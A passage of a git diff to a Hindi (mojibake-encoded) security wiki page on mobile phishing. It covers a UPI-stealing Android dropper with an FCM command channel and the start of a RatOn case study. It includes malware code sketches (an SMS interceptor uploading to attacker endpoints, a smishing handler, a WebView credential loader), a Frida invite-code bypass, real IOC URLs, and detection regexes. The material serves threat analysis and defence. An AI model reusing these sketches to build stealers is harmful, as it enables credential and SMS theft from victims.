рдХрд░рдХреЗ `PayloadContent` рд╕реВрдЪреАрдмрджреНрдз рдХрд░реЗрдВ рдФрд░ рдЕрддреНрдпрдзрд┐рдХ entitlements рдкрд╣рдЪрд╛рдиреЗрдВред -## рдмреНрд▓реВ-рдЯреАрдо рдкрд╣рдЪрд╛рди рд╡рд┐рдЪрд╛рд░ +## Blue-Team Detection Ideas -* **рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдкрд╛рд░рджрд░реНрд╢рд┐рддрд╛ / DNS рд╡рд┐рд╢реНрд▓реЗрд╖рдг** рдЕрдЪрд╛рдирдХ рдХреАрд╡рд░реНрдб-рд╕рдореГрджреНрдз рдбреЛрдореЗрди рдХреЗ рдмрд░реНрд╕реНрдЯ рдХреЛ рдкрдХрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдПред -* **User-Agent рдФрд░ рдкрде Regex**: `(?i)POST\s+/(check|upload)\.php` Dalvik рдХреНрд▓рд╛рдЗрдВрдЯ рд╕реЗ Google Play рдХреЗ рдмрд╛рд╣рд░ред -* **рдЖрдордВрддреНрд░рдг-рдХреЛрдб рдЯреЗрд▓реАрдореЗрдЯреНрд░реА** тАУ APK рдЗрдВрд╕реНрдЯреЙрд▓ рдХреЗ рддреБрд░рдВрдд рдмрд╛рдж 6тАУ8 рдЕрдВрдХреЛрдВ рдХреЗ рд╕рдВрдЦреНрдпрд╛рддреНрдордХ рдХреЛрдб рдХрд╛ POST рд╕реНрдЯреЗрдЬрд┐рдВрдЧ рдХрд╛ рд╕рдВрдХреЗрдд рджреЗ рд╕рдХрддрд╛ рд╣реИред -* **MobileConfig рд╕рд╛рдЗрдирд┐рдВрдЧ** тАУ рдмрд┐рдирд╛ рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рд╡рд╛рд▓реЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдкреНрд░реЛрдлрд╛рдЗрд▓ рдХреЛ MDM рдиреАрддрд┐ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЕрд╡рд░реБрджреНрдз рдХрд░реЗрдВред +* **Certificate Transparency / DNS Analytics** рддрд╛рдХрд┐ sudden bursts рд╡рд╛рд▓реЗ keyword-rich рдбреЛрдореЗрди рдкрдХрдбрд╝реЗ рдЬрд╛ рд╕рдХреЗрдВред +* **User-Agent & Path Regex**: `(?i)POST\s+/(check|upload)\.php` Dalvik рдХреНрд▓рд╛рдЗрдВрдЯреНрд╕ рд╕реЗ рдЬрд┐рдиреНрд╣реЗрдВ Google Play рдХреЗ рдмрд╛рд╣рд░ рджреЗрдЦрд╛ рдЧрдпрд╛ рд╣реЛред +* **Invite-code Telemetry** тАУ APK рдЗрдВрд╕реНрдЯреЙрд▓ рдХреЗ рддреБрд░рдВрдд рдмрд╛рдж 6тАУ8 рдЕрдВрдХ рдХреЗ рдиреНрдпреВрдореЗрд░рд┐рдХ рдХреЛрдб рдХрд╛ POST рд╕реНрдЯреЗрдЬрд┐рдВрдЧ рдХрд╛ рд╕рдВрдХреЗрдд рд╣реЛ рд╕рдХрддрд╛ рд╣реИред +* **MobileConfig Signing** тАУ unsigned configuration profiles рдХреЛ MDM рдиреАрддрд┐ рдХреЗ рдЬрд░рд┐рдП рдмреНрд▓реЙрдХ рдХрд░реЗрдВред -## рдЙрдкрдпреЛрдЧреА Frida рд╕реНрдирд┐рдкреЗрдЯ: рдСрдЯреЛ-рдмрд╛рдпрдкрд╛рд╕ рдЖрдордВрддреНрд░рдг рдХреЛрдб +## рдЙрдкрдпреЛрдЧреА Frida Snippet: Auto-Bypass Invitation Code ```python # frida -U -f com.badapp.android -l bypass.js --no-pause # Hook HttpURLConnection write to always return success @@ -80,7 +80,7 @@ return conn; }; }); ``` -## рд╕рдВрдХреЗрдд (рд╕рд╛рдорд╛рдиреНрдп) +## рд╕реВрдЪрдХ (рд╕рд╛рдорд╛рдиреНрдп) ``` /req/checkCode.php # invite code validation /upload.php # batched ZIP exfiltration @@ -90,26 +90,26 @@ LubanCompress 1.1.8 # "Luban" string inside classes.dex ## Android WebView Payment Phishing (UPI) тАУ Dropper + FCM C2 Pattern -рдЗрд╕ рдкреИрдЯрд░реНрди рдХреЛ рднрд╛рд░рддреАрдп UPI рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдФрд░ OTP рдЪреБрд░рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рд░рдХрд╛рд░реА рд▓рд╛рдн рд╡рд┐рд╖рдпреЛрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдЕрднрд┐рдпрд╛рдиреЛрдВ рдореЗрдВ рджреЗрдЦрд╛ рдЧрдпрд╛ рд╣реИред рдСрдкрд░реЗрдЯрд░ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдкреНрд▓реЗрдЯрдлрд╛рд░реНрдореЛрдВ рдХреЛ рд╡рд┐рддрд░рдг рдФрд░ рд╕реНрдерд┐рд░рддрд╛ рдХреЗ рд▓рд┐рдП рдЬреЛрдбрд╝рддреЗ рд╣реИрдВред +This pattern has been observed in campaigns abusing government-benefit themes to steal Indian UPI credentials and OTPs. Operators chain reputable platforms for delivery and resilience. -### рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдкреНрд▓реЗрдЯрдлрд╛рд░реНрдореЛрдВ рдХреЗ рдмреАрдЪ рд╡рд┐рддрд░рдг рд╢реНрд░реГрдВрдЦрд▓рд╛ -- YouTube рд╡реАрдбрд┐рдпреЛ рд▓реБрднрд╛рд╡рдирд╛ тЖТ рд╡рд┐рд╡рд░рдг рдореЗрдВ рдПрдХ рдЫреЛрдЯрд╛ рд▓рд┐рдВрдХ рд╣реИ -- рд╢реЙрд░реНрдЯрд▓рд┐рдВрдХ тЖТ рд╡реИрдз рдкреЛрд░реНрдЯрд▓ рдХреА рдирдХрд▓ рдХрд░рдиреЗ рд╡рд╛рд▓реА GitHub Pages рдлрд╝рд┐рд╢рд┐рдВрдЧ рд╕рд╛рдЗрдЯ -- рд╡рд╣реА GitHub рд░реЗрдкреЛ рдПрдХ APK рд╣реЛрд╕реНрдЯ рдХрд░рддрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рдПрдХ рдирдХрд▓реА тАЬGoogle PlayтАЭ рдмреИрдЬ рд╣реИ рдЬреЛ рд╕реАрдзреЗ рдлрд╝рд╛рдЗрд▓ рд╕реЗ рд▓рд┐рдВрдХ рдХрд░рддрд╛ рд╣реИ -- рдЧрддрд┐рд╢реАрд▓ рдлрд╝рд┐рд╢рд┐рдВрдЧ рдкреГрд╖реНрда Replit рдкрд░ рд▓рд╛рдЗрд╡ рд╣реИрдВ; рджреВрд░рд╕реНрде рдХрдорд╛рдВрдб рдЪреИрдирд▓ Firebase Cloud Messaging (FCM) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ +### рднрд░реЛрд╕реЗрдордВрдж рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдореНрд╕ рдкрд░ рд╡рд┐рддрд░рдг рд╢реНрд░реГрдВрдЦрд▓рд╛ +- YouTube рд▓реБрднрд╛рд╡рдирд╛ рд╡реАрдбрд┐рдпреЛ тЖТ рд╡рд┐рд╡рд░рдг рдореЗрдВ рдПрдХ рд╢реЙрд░реНрдЯ рд▓рд┐рдВрдХ рд╣реЛрддрд╛ рд╣реИ +- Shortlink тЖТ GitHub Pages рдкрд░ рдЖрдзрд┐рдХрд╛рд░рд┐рдХ рдкреЛрд░реНрдЯрд▓ рдХреА рдирдХрд▓ рдХрд░рдиреЗ рд╡рд╛рд▓реА phishing рд╕рд╛рдЗрдЯ +- рд╡рд╣реА GitHub repo рдПрдХ APK рд╣реЛрд╕реНрдЯ рдХрд░рддрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рдирдХрд▓реА тАЬGoogle PlayтАЭ рдмреИрдЬ рд╣реЛрддрд╛ рд╣реИ рдЬреЛ рд╕реАрдзреЗ рдлрд╛рдЗрд▓ рд╕реЗ рд▓рд┐рдВрдХ рдХрд░рддрд╛ рд╣реИ +- рдбрд╛рдпрдиреЗрдорд┐рдХ phishing рдкреЗрдЬ Replit рдкрд░ рд░рд╣рддреЗ рд╣реИрдВ; рд░рд┐рдореЛрдЯ рдХрдорд╛рдВрдб рдЪреИрдирд▓ Firebase Cloud Messaging (FCM) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ -### рдПрдореНрдмреЗрдбреЗрдб рдкреЗрд▓реЛрдб рдФрд░ рдСрдлрд╝рд▓рд╛рдЗрди рдЗрдВрд╕реНрдЯреЙрд▓ рдХреЗ рд╕рд╛рде рдбреНрд░реЙрдкрд░ -- рдкрд╣рд▓рд╛ APK рдПрдХ рдЗрдВрд╕реНрдЯреЙрд▓рд░ (рдбреНрд░реЙрдкрд░) рд╣реИ рдЬреЛ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдореИрд▓рд╡реЗрдпрд░ рдХреЛ `assets/app.apk` рдкрд░ рднреЗрдЬрддрд╛ рд╣реИ рдФрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдХреНрд▓рд╛рдЙрдб рдкрд╣рдЪрд╛рди рдХреЛ рдХрдордЬреЛрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП WiтАСFi/рдореЛрдмрд╛рдЗрд▓ рдбреЗрдЯрд╛ рдмрдВрдж рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░реЗрд░рд┐рдд рдХрд░рддрд╛ рд╣реИред -- рдПрдореНрдмреЗрдбреЗрдб рдкреЗрд▓реЛрдб рдПрдХ рдирд┐рд░реНрджреЛрд╖ рд▓реЗрдмрд▓ (рдЬреИрд╕реЗ, тАЬSecure UpdateтАЭ) рдХреЗ рддрд╣рдд рдЗрдВрд╕реНрдЯреЙрд▓ рд╣реЛрддрд╛ рд╣реИред рдЗрдВрд╕реНрдЯреЙрд▓реЗрд╢рди рдХреЗ рдмрд╛рдж, рдЗрдВрд╕реНрдЯреЙрд▓рд░ рдФрд░ рдкреЗрд▓реЛрдб рджреЛрдиреЛрдВ рдЕрд▓рдЧ-рдЕрд▓рдЧ рдРрдк рдХреЗ рд░реВрдк рдореЗрдВ рдореМрдЬреВрдж рд╣реЛрддреЗ рд╣реИрдВред +### Dropper with embedded payload and offline install +- рдкрд╣рд▓рд╛ APK рдПрдХ installer (dropper) рд╣реИ рдЬреЛ рд╡рд╛рд╕реНрддрд╡рд┐рдХ malware рдХреЛ `assets/app.apk` рдкрд░ рднреЗрдЬрддрд╛ рд╣реИ рдФрд░ рдпреВрдЬрд╝рд░ рдХреЛ рдХреНрд▓рд╛рдЙрдб-рдЖрдзрд╛рд░рд┐рдд рдбрд┐рдЯреЗрдХреНрд╢рди рдХреЛ рдмреЗрдЕрд╕рд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП WiтАСFi/mobile data рдмрдВрдж рдХрд░рдиреЗ рдХрд╛ рд╕рдВрдХреЗрдд рджреЗрддрд╛ рд╣реИред +- Embedded payload рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рд▓реЗрдмрд▓ (рдЙрджрд╛., тАЬSecure UpdateтАЭ) рдХреЗ рдирд╛рдо рд╕реЗ рдЗрдВрд╕реНрдЯреЙрд▓ рд╣реЛрддрд╛ рд╣реИред рдЗрдВрд╕реНрдЯреЙрд▓ рдХреЗ рдмрд╛рдж, installer рдФрд░ payload рджреЛрдиреЛрдВ рдЕрд▓рдЧ-рдЕрд▓рдЧ apps рдХреЗ рд░реВрдк рдореЗрдВ рдореМрдЬреВрдж рд░рд╣рддреЗ рд╣реИрдВред -рд╕реНрдЯреИрдЯрд┐рдХ рдЯреНрд░рд╛рдпрдЬ рдЯрд┐рдк (рдПрдореНрдмреЗрдбреЗрдб рдкреЗрд▓реЛрдб рдХреЗ рд▓рд┐рдП grep рдХрд░реЗрдВ): +Static triage tip (grep for embedded payloads): ```bash unzip -l sample.apk | grep -i "assets/app.apk" # Or: zipgrep -i "classes|.apk" sample.apk | head ``` -### Dynamic endpoint discovery via shortlink -- Malware рдПрдХ plain-text, comma-separated рд╕реВрдЪреА рдХреЛ рдПрдХ shortlink рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИ; рд╕рд░рд▓ string transforms рдЕрдВрддрд┐рдо phishing page path рдЙрддреНрдкрдиреНрди рдХрд░рддреЗ рд╣реИрдВред +### shortlink рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдбрд╛рдпрдирд╛рдорд┐рдХ endpoint рдХреА рдЦреЛрдЬ +- Malware рдПрдХ shortlink рд╕реЗ plain-text, comma-separated list рд▓реЗрддрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ live endpoints рд╣реЛрддреЗ рд╣реИрдВ; рд╕рд░рд▓ string transforms рдЕрдВрддрд┐рдо phishing page path рдЙрддреНрдкрдиреНрди рдХрд░рддреЗ рд╣реИрдВред Example (sanitised): ``` @@ -119,7 +119,7 @@ Transform: "gate.html" тЖТ "gate.htm" (loaded in WebView) UPI credential POST: https://sqcepo.replit.app/addup.php SMS upload: https://sqcepo.replit.app/addsm.php ``` -рдкреНрд╕реЗUDO-рдХреЛрдб: +рдЫрджреНрдо-рдХреЛрдб: ```java String csv = httpGet(shortlink); String[] parts = csv.split(","); @@ -127,8 +127,8 @@ String upiPage = parts[0].replace("gate.html", "gate.htm"); String smsPost = parts[1]; String credsPost = upiPage.replace("gate.htm", "addup.php"); ``` -### WebView-рдЖрдзрд╛рд░рд┐рдд UPI рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рд╣рд╛рд░реНрд╡реЗрд╕реНрдЯрд┐рдВрдЧ -- тАЬтВ╣1 / UPIтАСLite рдХрд╛ рднреБрдЧрддрд╛рди рдХрд░реЗрдВтАЭ рдЪрд░рдг рдПрдХ рд╣рдорд▓рд╛рд╡рд░ HTML рдлреЙрд░реНрдо рдХреЛ WebView рдХреЗ рдЕрдВрджрд░ рдЧрддрд┐рд╢реАрд▓ рдПрдВрдбрдкреЙрдЗрдВрдЯ рд╕реЗ рд▓реЛрдб рдХрд░рддрд╛ рд╣реИ рдФрд░ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдлрд╝реАрд▓реНрдб (рдлреЛрди, рдмреИрдВрдХ, UPI PIN) рдХреЛ рдХреИрдкреНрдЪрд░ рдХрд░рддрд╛ рд╣реИ рдЬреЛ `addup.php` рдкрд░ `POST` рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред +### WebView-based UPI credential harvesting +- тАЬMake payment of тВ╣1 / UPIтАСLiteтАЭ рдЪрд░рдг WebView рдХреЗ рдЕрдВрджрд░ dynamic endpoint рд╕реЗ рд╣рдорд▓рд╛рд╡рд░ рдХрд╛ HTML рдлреЙрд░реНрдо рд▓реЛрдб рдХрд░рддрд╛ рд╣реИ рдФрд░ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдлрд╝реАрд▓реНрдбреНрд╕ (phone, bank, UPI PIN) рдХреЛ рдХреИрдкреНрдЪрд░ рдХрд░рддрд╛ рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ `POST` рдХрд░рдХреЗ `addup.php` рдкрд░ рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИред рдиреНрдпреВрдирддрдо рд▓реЛрдбрд░: ```java @@ -136,16 +136,16 @@ WebView wv = findViewById(R.id.web); wv.getSettings().setJavaScriptEnabled(true); wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm ``` -### рдЖрддреНрдо-рдкреНрд░рд╕рд╛рд░ рдФрд░ SMS/OTP рдЗрдВрдЯрд░рд╕реЗрдкреНрд╢рди -- рдкрд╣рд▓реЗ рд░рди рдкрд░ рдЖрдХреНрд░рд╛рдордХ рдЕрдиреБрдорддрд┐рдпрд╛рдБ рдорд╛рдВрдЧреА рдЬрд╛рддреА рд╣реИрдВ: +### Self-propagation and SMS/OTP interception +- рдкрд╣рд▓реА рдмрд╛рд░ рдЪрд▓рд╛рдиреЗ рдкрд░ рдЖрдХреНрд░рд╛рдордХ permissions рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ: ```xml <uses-permission android:name="android.permission.READ_CONTACTS"/> <uses-permission android:name="android.permission.SEND_SMS"/> <uses-permission android:name="android.permission.READ_SMS"/> <uses-permission android:name="android.permission.CALL_PHONE"/> ``` -- рд╕рдВрдкрд░реНрдХреЛрдВ рдХреЛ рдкреАрдбрд╝рд┐рдд рдХреЗ рдбрд┐рд╡рд╛рдЗрд╕ рд╕реЗ рд╕рд╛рдореВрд╣рд┐рдХ рд░реВрдк рд╕реЗ smishing SMS рднреЗрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рд▓реВрдк рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред -- рдЖрдиреЗ рд╡рд╛рд▓реЗ SMS рдХреЛ рдПрдХ рдкреНрд░рд╕рд╛рд░рдг рд░рд┐рд╕реАрд╡рд░ рджреНрд╡рд╛рд░рд╛ рдЗрдВрдЯрд░рд╕реЗрдкреНрдЯ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдореЗрдЯрд╛рдбреЗрдЯрд╛ (рдкреНрд░реЗрд╖рдХ, рд╕рд╛рдордЧреНрд░реА, рд╕рд┐рдо рд╕реНрд▓реЙрдЯ, рдкреНрд░рддрд┐-рдбрд┐рд╡рд╛рдЗрд╕ рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рдЖрдИрдбреА) рдХреЗ рд╕рд╛рде `/addsm.php` рдкрд░ рдЕрдкрд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред +- Contacts рдХреЛ рд▓реВрдк рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдкреАрдбрд╝рд┐рдд рдХреЗ рдбрд┐рд╡рд╛рдЗрд╕ рд╕реЗ smishing SMS рдмрдбрд╝реЗ рдкреИрдорд╛рдиреЗ рдкрд░ рднреЗрдЬреЗ рдЬрд╛ рд╕рдХреЗрдВ. +- Incoming SMS рдХреЛ рдПрдХ broadcast receiver рджреНрд╡рд╛рд░рд╛ рдЗрдВрдЯрд░рд╕реЗрдкреНрдЯ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ metadata (sender, body, SIM slot, per-device random ID) рдХреЗ рд╕рд╛рде `/addsm.php` рдкрд░ рдЕрдкрд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ. Receiver sketch: ```java @@ -162,9 +162,9 @@ postForm(urlAddSms, new FormBody.Builder() } ``` ### Firebase Cloud Messaging (FCM) рдХреЗ рд░реВрдк рдореЗрдВ рд▓рдЪреАрд▓рд╛ C2 -- рдкреЗрд▓реЛрдб FCM рдХреЗ рд▓рд┐рдП рдкрдВрдЬреАрдХрд░рдг рдХрд░рддрд╛ рд╣реИ; рдкреБрд╢ рд╕рдВрджреЗрд╢ `_type` рдлрд╝реАрд▓реНрдб рд▓реЗ рдЬрд╛рддреЗ рд╣реИрдВ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реНрд╡рд┐рдЪ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ (рдЬреИрд╕реЗ, рдлрд╝рд┐рд╢рд┐рдВрдЧ рдЯреЗрдХреНрд╕реНрдЯ рдЯреЗрдореНрдкрд▓реЗрдЯреНрд╕ рдХреЛ рдЕрдкрдбреЗрдЯ рдХрд░рдирд╛, рд╡реНрдпрд╡рд╣рд╛рд░реЛрдВ рдХреЛ рдЯреЙрдЧрд▓ рдХрд░рдирд╛)ред +- Payload FCM рдореЗрдВ рд░рдЬрд┐рд╕реНрдЯрд░ рд╣реЛрддрд╛ рд╣реИ; push messages рдореЗрдВ `_type` рдлреАрд▓реНрдб рд╣реЛрддрд╛ рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕реНрд╡рд┐рдЪ рдХреА рддрд░рд╣ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ (рдЙрджрд╛., phishing рдЯреЗрдХреНрд╕реНрдЯ рдЯреЗрдореНрдкрд▓реЗрдЯреНрд╕ рдЕрдкрдбреЗрдЯ рдХрд░рдирд╛, рд╡реНрдпрд╡рд╣рд╛рд░ рдЯреЙрдЧрд▓ рдХрд░рдирд╛). -рдЙрджрд╛рд╣рд░рдг FCM рдкреЗрд▓реЛрдб: +Example FCM payload: ```json { "to": "<device_fcm_token>", @@ -174,7 +174,7 @@ postForm(urlAddSms, new FormBody.Builder() } } ``` -рд╣реИрдВрдбрд▓рд░ рд╕реНрдХреЗрдЪ: +Handler рд░реВрдкрд░реЗрдЦрд╛: ```java @Override public void onMessageReceived(RemoteMessage msg){ @@ -186,27 +186,177 @@ case "smish": sendSmishToContacts(); break; } } ``` -### рд╢рд┐рдХрд╛рд░ рдкреИрдЯрд░реНрди рдФрд░ IOC -- APK рдореЗрдВ `assets/app.apk` рдкрд░ рджреНрд╡рд┐рддреАрдпрдХ рдкреЗрд▓реЛрдб рд╣реЛрддрд╛ рд╣реИ -- WebView `gate.htm` рд╕реЗ рднреБрдЧрддрд╛рди рд▓реЛрдб рдХрд░рддрд╛ рд╣реИ рдФрд░ `/addup.php` рдкрд░ рдПрдХреНрд╕рдлрд┐рд▓реНрдЯреНрд░реЗрдЯ рдХрд░рддрд╛ рд╣реИ -- SMS рдПрдХреНрд╕рдлрд┐рд▓реНрдЯреНрд░реЗрд╢рди `/addsm.php` рдкрд░ -- рд╢реЙрд░реНрдЯрд▓рд┐рдВрдХ-рдЪрд╛рд▓рд┐рдд рдХреЙрдиреНрдлрд╝рд┐рдЧ рдлрд╝реЗрдЪ (рдЬреИрд╕реЗ, `rebrand.ly/*`) CSV рдПрдВрдбрдкреЙрдЗрдВрдЯреНрд╕ рд▓реМрдЯрд╛рддрд╛ рд╣реИ -- рдРрдкреНрд╕ рдХреЛ рд╕рд╛рдорд╛рдиреНрдп "рдЕрдкрдбреЗрдЯ/рд╕реБрд░рдХреНрд╖рд┐рдд рдЕрдкрдбреЗрдЯ" рдХреЗ рд░реВрдк рдореЗрдВ рд▓реЗрдмрд▓ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ -- рдЕрд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдРрдкреНрд╕ рдореЗрдВ `_type` рд╡рд┐рднрд╛рдЬрдХ рдХреЗ рд╕рд╛рде FCM `data` рд╕рдВрджреЗрд╢ +### рд╣рдВрдЯрд┐рдВрдЧ рдкреИрдЯрд░реНрди рдФрд░ IOCs +- APK рдореЗрдВ рд╕реЗрдХреЗрдВрдбрд░реА payload `assets/app.apk` рдореЗрдВ рдореМрдЬреВрдж рд╣реИ +- WebView `gate.htm` рд╕реЗ payment рд▓реЛрдб рдХрд░рддрд╛ рд╣реИ рдФрд░ `/addup.php` рдкрд░ exfiltrate рдХрд░рддрд╛ рд╣реИ +- SMS рдХрд╛ exfiltration `/addsm.php` рдкрд░ +- Shortlink-рдбреНрд░рд┐рд╡рди config fetch (e.g., `rebrand.ly/*`) рдЬреЛ CSV endpoints рд▓реМрдЯрд╛рддрд╛ рд╣реИ +- рдРрд╕реЗ рдРрдкреНрд╕ рдЬрд┐рдиреНрд╣реЗрдВ generic тАЬUpdate/Secure UpdateтАЭ рд▓реЗрдмрд▓ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реЛ +- FCM `data` рд╕рдВрджреЗрд╢ рдЕрдирдЯреНрд░рд╕реНрдЯреЗрдб рдРрдкреНрд╕ рдореЗрдВ рдЬрд┐рдирдореЗрдВ `_type` discriminator рд╣реЛрддрд╛ рд╣реИ -### рдкрд╣рдЪрд╛рди рдФрд░ рд░рдХреНрд╖рд╛ рд╡рд┐рдЪрд╛рд░ -- рдЙрди рдРрдкреНрд╕ рдХреЛ рдлреНрд▓реИрдЧ рдХрд░реЗрдВ рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдЗрдВрд╕реНрдЯреЙрд▓реЗрд╢рди рдХреЗ рджреМрд░рд╛рди рдиреЗрдЯрд╡рд░реНрдХ рдмрдВрдж рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд╣рддреЗ рд╣реИрдВ рдФрд░ рдлрд┐рд░ `assets/` рд╕реЗ рдПрдХ рджреВрд╕рд░рд╛ APK рд╕рд╛рдЗрдб-рд▓реЛрдб рдХрд░рддреЗ рд╣реИрдВред -- рдЕрдиреБрдорддрд┐ рдЯреНрдпреВрдкрд▓ рдкрд░ рдЕрд▓рд░реНрдЯ рдХрд░реЗрдВ: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + WebView-рдЖрдзрд╛рд░рд┐рдд рднреБрдЧрддрд╛рди рдкреНрд░рд╡рд╛рд╣ред -- рдЧреИрд░-рдХреЙрд░реНрдкреЛрд░реЗрдЯ рд╣реЛрд╕реНрдЯ рдкрд░ `POST /addup.php|/addsm.php` рдХреЗ рд▓рд┐рдП рдИрдЧреНрд░реЗрд╕ рдореЙрдирд┐рдЯрд░рд┐рдВрдЧ; рдЬреНрдЮрд╛рдд рдЕрд╡рд╕рдВрд░рдЪрдирд╛ рдХреЛ рдмреНрд▓реЙрдХ рдХрд░реЗрдВред -- рдореЛрдмрд╛рдЗрд▓ EDR рдирд┐рдпрдо: FCM рдХреЗ рд▓рд┐рдП рдкрдВрдЬреАрдХрд░рдг рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ рдЕрд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдРрдк рдФрд░ `_type` рдлрд╝реАрд▓реНрдб рдкрд░ рд╢рд╛рдЦрд╛ рдмрдирд╛рдирд╛ред +### рдбрд┐рдЯреЗрдХреНрд╢рди рдФрд░ рдбрд┐рдлреЗрдВрд╕ рдЖрдЗрдбрд┐рдпрд╛рдЬ +- рдЙрди рдРрдкреНрд╕ рдХреЛ flag рдХрд░реЗрдВ рдЬреЛ рдЗрдВрд╕реНрдЯреЙрд▓ рдХреЗ рджреМрд░рд╛рди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рд╕реЗ рдиреЗрдЯрд╡рд░реНрдХ рдбрд┐рд╕реЗрдмрд▓ рдХрд░рдиреЗ рдХреЛ рдХрд╣рддреЗ рд╣реИрдВ рдФрд░ рдлрд┐рд░ `assets/` рд╕реЗ рджреВрд╕рд░реА APK side-load рдХрд░рддреЗ рд╣реИрдВред +- permission tuple рдкрд░ рдЕрд▓рд░реНрдЯ: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + WebView-рдЖрдзрд╛рд░рд┐рдд payment flowsред +- non-corporate hosts рдкрд░ `POST /addup.php|/addsm.php` рдХреЗ рд▓рд┐рдП egress рдореЙрдирд┐рдЯрд░рд┐рдВрдЧ; рдЬреНрдЮрд╛рдд infrastructure рдХреЛ block рдХрд░реЗрдВред +- Mobile EDR рдирд┐рдпрдо: untrusted рдРрдк рдЬреЛ FCM рдХреЗ рд▓рд┐рдП register рдХрд░рддрд╛ рд╣реИ рдФрд░ `_type` field рдкрд░ branching рдХрд░рддрд╛ рд╣реИред --- +## Android Accessibility/Overlay & Device Admin Abuse, ATS automation, and NFC relay orchestration тАУ RatOn case study + +The RatOn banker/RAT campaign (ThreatFabric) рдЖрдзреБрдирд┐рдХ mobile phishing рдСрдкрд░реЗрд╢рдиреНрд╕ рдХрд╛ рдПрдХ рдареЛрд╕ рдЙрджрд╛рд╣рд░рдг рд╣реИ рдЬрд╣рд╛рдБ WebView droppers, Accessibility-driven UI automation, overlays/ransom, Device Admin coercion, Automated Transfer System (ATS), crypto wallet takeover, рдФрд░ рдпрд╣рд╛рдБ рддрдХ рдХрд┐ NFC-relay orchestration рдХреЛ рдорд┐рд▓рд╛рдХрд░ рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рд╕реЗрдХреНрд╢рди рдЗрди reusable techniques рдХрд╛ рд╕рд╛рд░ рдкреНрд░рд╕реНрддреБрдд рдХрд░рддрд╛ рд╣реИред + +### Stage-1: WebView тЖТ native install bridge (dropper) +рдЖрдХреНрд░рдордгрдХрд╛рд░реА рдПрдХ WebView рджрд┐рдЦрд╛рддреЗ рд╣реИрдВ рдЬреЛ attacker рдкреЗрдЬ рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдПрдХ JavaScript interface inject рдХрд░рддреЗ рд╣реИрдВ рдЬреЛ рдПрдХ native installer рдХреЛ рдПрдХреНрд╕рдкреЛрдЬрд╝ рдХрд░рддрд╛ рд╣реИред HTML рдмрдЯрди рдкрд░ рдЯреИрдк native рдХреЛрдб рдХреЛ рдХреЙрд▓ рдХрд░рддрд╛ рд╣реИ 